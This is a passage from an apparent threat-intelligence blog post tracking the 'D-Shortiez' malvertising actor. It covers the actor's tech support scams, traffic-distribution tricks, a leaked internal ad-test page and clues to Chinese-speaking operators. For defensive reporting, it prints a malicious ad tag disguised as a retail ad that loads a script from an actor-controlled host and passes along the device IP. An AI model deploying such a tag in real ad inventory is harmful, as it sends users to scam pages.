Microsoft Windows-branded tech support scams instead of reward pages.</p><p>We confirmed both old and new activity belonged to the same actor. The most conclusive evidence: identical domains and URL document locations appearing in both campaigns.</p><p><strong>Technical Evidence</strong></p><p>Testing the D-Shortiez domain ogvkvulwchwb[.]top at document location dailynews.php returned their familiar fake reward scam page. Testing the same domain and location with different URL parameters returned a redirect to their tech support scam infrastructure.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rReE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rReE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg 424w, https://substackcdn.com/image/fetch/$s_!rReE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg 848w, https://substackcdn.com/image/fetch/$s_!rReE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!rReE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rReE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg" width="211" height="177" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:177,&quot;width&quot;:211,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rReE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg 424w, https://substackcdn.com/image/fetch/$s_!rReE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg 848w, https://substackcdn.com/image/fetch/$s_!rReE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!rReE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93133869-0aa6-4c12-ad1b-1e37419353c2_211x177.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>  Figure 3: </strong>Legitimate-looking ad creative used by D-Shortiez (Adobe Creative Cloud)</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yODF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yODF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg 424w, https://substackcdn.com/image/fetch/$s_!yODF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg 848w, https://substackcdn.com/image/fetch/$s_!yODF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!yODF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yODF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg" width="1149" height="576" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:576,&quot;width&quot;:1149,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yODF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg 424w, https://substackcdn.com/image/fetch/$s_!yODF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg 848w, https://substackcdn.com/image/fetch/$s_!yODF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!yODF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc9c9f63-fa5e-458b-9c32-87cc3d055469_1149x576.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 4: </strong>Browser developer tools showing D-Shortiez domain (ogvkvulwchwb.top) in network traffic during forced redirection</p><p>The tech support scam pages impersonated Windows Defender notifications, claiming the victim&#8217;s PC was infected with malware and providing a phone number for fake Microsoft support.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OXDM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OXDM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg 424w, https://substackcdn.com/image/fetch/$s_!OXDM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg 848w, https://substackcdn.com/image/fetch/$s_!OXDM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!OXDM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OXDM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg" width="1456" height="1056" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1056,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OXDM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg 424w, https://substackcdn.com/image/fetch/$s_!OXDM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg 848w, https://substackcdn.com/image/fetch/$s_!OXDM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!OXDM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1782137-ef67-4148-a183-3f83f9e9c055_1600x1160.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 5: </strong>Fake Microsoft Windows Defender notification scam page with fraudulent support number</p><p>Their use of the Binom traffic distribution system (TDS) allowed them to serve different scam types based on victim device: Windows users received tech support scams, while mobile users still received reward scams.</p><h2>Discovering the Internal Ad Test Page</h2><p>After confirming D-Shortiez&#8217;s shift to tech support scams, we began probing their infrastructure for hidden content. Late June 2025, we found a page intended to remain internal which provided an HTML file containing their ad testing environment.</p><p>The page was accessible from any D-Shortiez domain and contained commented-out ad tags from multiple advertising platforms, with a single tag uncommented for active testing. More importantly, the page was dynamic. We observed it being modified with new domains on what appeared to be their work days.</p><p><strong>Example ad tag from the test page:</strong></p><p>&lt;!-- smartyads --&gt;</p><p>&lt;div id=&#8221;oisu-opwx-vjuh&#8221;&gt;</p><p>&lt;link rel=&#8221;stylesheet&#8221; href=&#8221;https://bosbaim.com/dbJ9f8BFJkdoec.css&#8221;&gt;</p><p>&lt;div class=&#8221;A8s7D9k5j8h7g6f&#8221;&gt;</p><p>&lt;a href=&#8221;https://www.dillards.com/c/women?srsltid=AfmBOooxD8UJmkelwCNEHHwKec-unwhaSmwqMXxuUrbU6zw-NGhdGjXo&#8221; target=&#8221;_blank&#8221;&gt;</p><p>&lt;img src=&#8221;https://bosbaim.com//olpkugft7gvBKf.jpg&#8221; alt=&#8221;&#8220; class=&#8221;B9k8S7m6n9b8v7c5&#8221;&gt;</p><p>&lt;/a&gt;</p><p>&lt;div class=&#8221;D6f5K9q8r7s6d5f4&#8221;&gt;SHOP NOW &gt;&gt;&lt;/div&gt;</p><p>&lt;/div&gt;</p><p>&lt;script src=&#8221;https://js.bosbaim.com//oikjshbegcd.js?uhoixjhned={bid_id}&amp;pojuh={exchange_title}&amp;trfgb={site_id}&amp;sdce={site_domain}&amp;tyhgb={timestamp}&amp;apodu={device_ip}&#8221;&gt;&lt;/script&gt;</p><p>&lt;/div&gt;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-paR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-paR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg 424w, https://substackcdn.com/image/fetch/$s_!-paR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg 848w, https://substackcdn.com/image/fetch/$s_!-paR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!-paR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-paR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg" width="300" height="246" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:246,&quot;width&quot;:300,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-paR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg 424w, https://substackcdn.com/image/fetch/$s_!-paR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg 848w, https://substackcdn.com/image/fetch/$s_!-paR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!-paR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d9e8972-18cb-431a-8873-c358892f3593_300x246.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 6: </strong>Rendered advertisement from D-Shortiez test page showing malicious &#8220;Shop Now&#8221; redirect</p><p>We built automation to monitor this page and extract newly added domains. This allowed us to block their infrastructure before campaigns launched, shifting our defensive posture from reactive to proactive.</p><h2><strong>Attribution: Chinese-Speaking Operators</strong></h2><p>The test page contained Chinese-language comments throughout.</p><p>They leave comments throughout the test page that map each ad tag to its DSP, as in the case SmartyAds. The notes show where the ad campaign will be served from, when the tag was added, and whether it has been submitted to the DSP for approval. Once approved, it continues running until the DSP detects the abuse and disables the campaign.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!khKM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!khKM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg 424w, https://substackcdn.com/image/fetch/$s_!khKM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg 848w, https://substackcdn.com/image/fetch/$s_!khKM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!khKM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!khKM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg" width="660" height="209" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:209,&quot;width&quot;:660,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!khKM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg 424w, https://substackcdn.com/image/fetch/$s_!khKM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg 848w, https://substackcdn.com/image/fetch/$s_!khKM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!khKM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3b5071f-3b90-4e62-ad61-d1aadca5898b_660x209.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>Figure 7: </strong>Chinese-language comment from test page translated to English showing campaign tracking notes</p><p>Also discovered in the test page that added confidence to D-Shortiez being Chinese or Chinese speaking actors, are the credentials for their<a href="https://www.bt.cn/new/product_linux.html"> Baota/Pagoda Panel software</a>. Which only has Chinese language support.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EY3c!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EY3c!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png 424w, https://substackcdn.com/image/fetch/$s_!EY3c!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png 848w, https://substackcdn.com/image/fetch/$s_!EY3c!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png 1272w, https://substackcdn.com/image/fetch/$s_!EY3c!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EY3c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png" width="391" height="114" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:114,&quot;width&quot;:391,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EY3c!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png 424w, https://substackcdn.com/image/fetch/$s_!EY3c!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png 848w, https://substackcdn.com/image/fetch/$s_!EY3c!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png 1272w, 